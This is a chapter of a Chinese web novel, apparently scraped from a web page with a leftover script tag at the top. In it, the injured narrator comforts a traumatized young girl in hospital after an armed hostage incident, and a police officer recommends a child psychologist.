<script src="https://img.zhaozhi.us/pc/pc.js?v=2022"/>

一处理完腿伤, 我便急匆匆的赶去倾凡的病房,刚进门就瞧见小家伙已经醒了,不知道是谁塞了个魔方给她,她就那样安静的埋着脑袋胡乱的扭着魔方,我的进入也没有引起她的注意。

床边坐着江警官, 见我进来, 她腾出位置扶着我坐下,担心的询问者:“腿没事吧?”

“子弹已经取出来了,没什么大碍, 就是特别疼。倾凡这边医生有来看过吗?小宝贝, 你在玩儿什么呢?”

我一边问着, 一边伸手想要碰一碰她手中的魔方, 可倾凡护着玩具躲开了我的手, 看都不看我一眼也不肯说话, 我察觉出她的异样,抬头看向江警官。

江警官神色沉凝的拉过一把椅子挨着我坐下, 简单的解释着:“医生已经来过了, 只是检查了孩子身上有没有外伤,发现没什么大碍,说是好好休息一下, 重点是要耐心安抚孩子的情绪。”

听了江警官的话,我便试图和倾凡好好沟通, 她不让我碰她的小手, 我便凑近了身子望着她:“想去看妈妈吗?”

听我提起phoebe, 倾凡立刻抬头盯着我,随后拼命的点脑袋,我拿过一个橘子剥好皮,分开橘子瓣喂到她的嘴边,温柔的问道:“小小凡为什么不理大凡呢?”

小家伙就这样愣愣的看着我,始终不肯说话,脸上也失去了往日的灿烂笑容,我和phoebe日日呵护,好不容易种出这么一朵太阳花,竟被那些歹人糟蹋成这样。

连累倾凡吃的这些苦,实在无法原谅自己,亦是难过极了,江警官拍了拍我的肩头:“咱们聊聊?”

我抬手揉了揉倾凡的小脑袋:“大凡跟警官阿姨说点事儿,乖乖的等我回来,一会儿就带你去见妈妈。”

我架起拐杖准备起身离开,倾凡却伸手拽住了我的衣摆,小声祈求着:“别走。”

她眼里有着可怜无助的惊惶,我展开双臂一把抱住她,心底的苦涩感涌来,梗得我的喉咙生疼:“好,大凡不走!江警官,想说什么就在这里说吧。”

江查点了点头:“也就是想跟你聊聊孩子的事情。我也是头一次遇到犯人持枪挟持儿童的事件,性质实在太恶劣!

一天之内,倾凡所看到事情太过血腥暴力,特别是年不和开枪伤了她的母亲、舅妈还有你,如果现在不重视她的心理问题,进行好的疏导,很有可能对她的一生造成无法磨灭的影响。”

倾凡继续埋着脑袋玩魔方,整个人都失去了往日的灵气,虽然还不清楚她为什么突然就这样冷落了我,但问题一定出在我的身上。

听了江警官的话,我便想要知道有什么法子来解决孩子的心理问题:“所以,江警官有什么好办法吗?”

江查伸手拿过放在桌上的外套,摸索了半天,掏出了一个破旧的皮夹子,我以为是钱包,等她打开了以后才发现,里面全是名片,她笑了笑:

“别看我这皮夹子破,里面装的可都是我办案子结下的人缘,什么行业什么职位的人统统都有。喏,这张名片你收下。”

我接过名片看了看,是一位心理专家的,可名片上的地址却叫我有些难耐:“这专家的地址在重庆,这也太远了吧!你办案子还会办到外地去?”

江警官也开始剥橘子皮,笑了起来:“自然会有同外省公安部门联合办案的时候,不过这位心理医生是我一前辈认识的人,名片也是前辈给我的。

听说催眠手法非常厉害,之前是在古巴的一所有名的医科大学当教授,后来回国开了心理辅导的工作室。

你和蓝总出手不至于抠门吧,你们一家三口都伤成这样了,总不能舟车劳顿跑去重庆,大不了重金聘请,让她飞过来一趟也不错。

最重要的是,孩子的心理辅导要紧,越快越好,如果你和蓝总决定了请这位教授,我可以让前辈帮忙预约。她办事,不会失手的。”

我抚摸着名片,覃斯曼三个字烙在了我的心上。我还是有些犹豫,现在phoebe还躺在病房里,又中了一枪,我实在不想让她在分出心思担忧倾凡。

我将名片收好,叫住准备离开的江警官:“江警官,劳烦你帮忙预约一下那位教授吧,薪酬就按她的要求来,欠你一个大人情,日后一定好好还。”

江查笑了笑:“老实说我挺内疚的,今天的抓捕行动很失败,眼看着孩子变成这样,我有一定的责任,哪还跟你谈人情呢,都是应该的。我先回局里了,对付对付年不和呢。”

提及年不和,我的脑海里闪过乔心的死状:“乔心...她是不是...死了?”

江警官愣了一下,随即无奈的点头:“是的。”

“你可真厉害,一把刀子就能要了一个人的命。”

“尤小姐,我是警察不是刽子手。如果不考虑乔心会把倾凡推进泳池的可能,我是不会这样做的,任何一个人落在我们警察的手上却没了命,对我们来说内心也挺煎熬的。”

目送江警官离开,我松出一口气,回身看向倾凡:“走,我们去看妈妈。”

“嗯!”

小家伙穿着病号服,像披了一件道袍似的,我先架起拐走,方才单手让倾凡坐在我的胳膊上,我很是吃力的抱上她,她圈着我的脖子,安安静静的。

我咬了咬牙,情不自禁的感叹:“小丫头片子真是长大了,大凡快抱不动你了,太沉了!”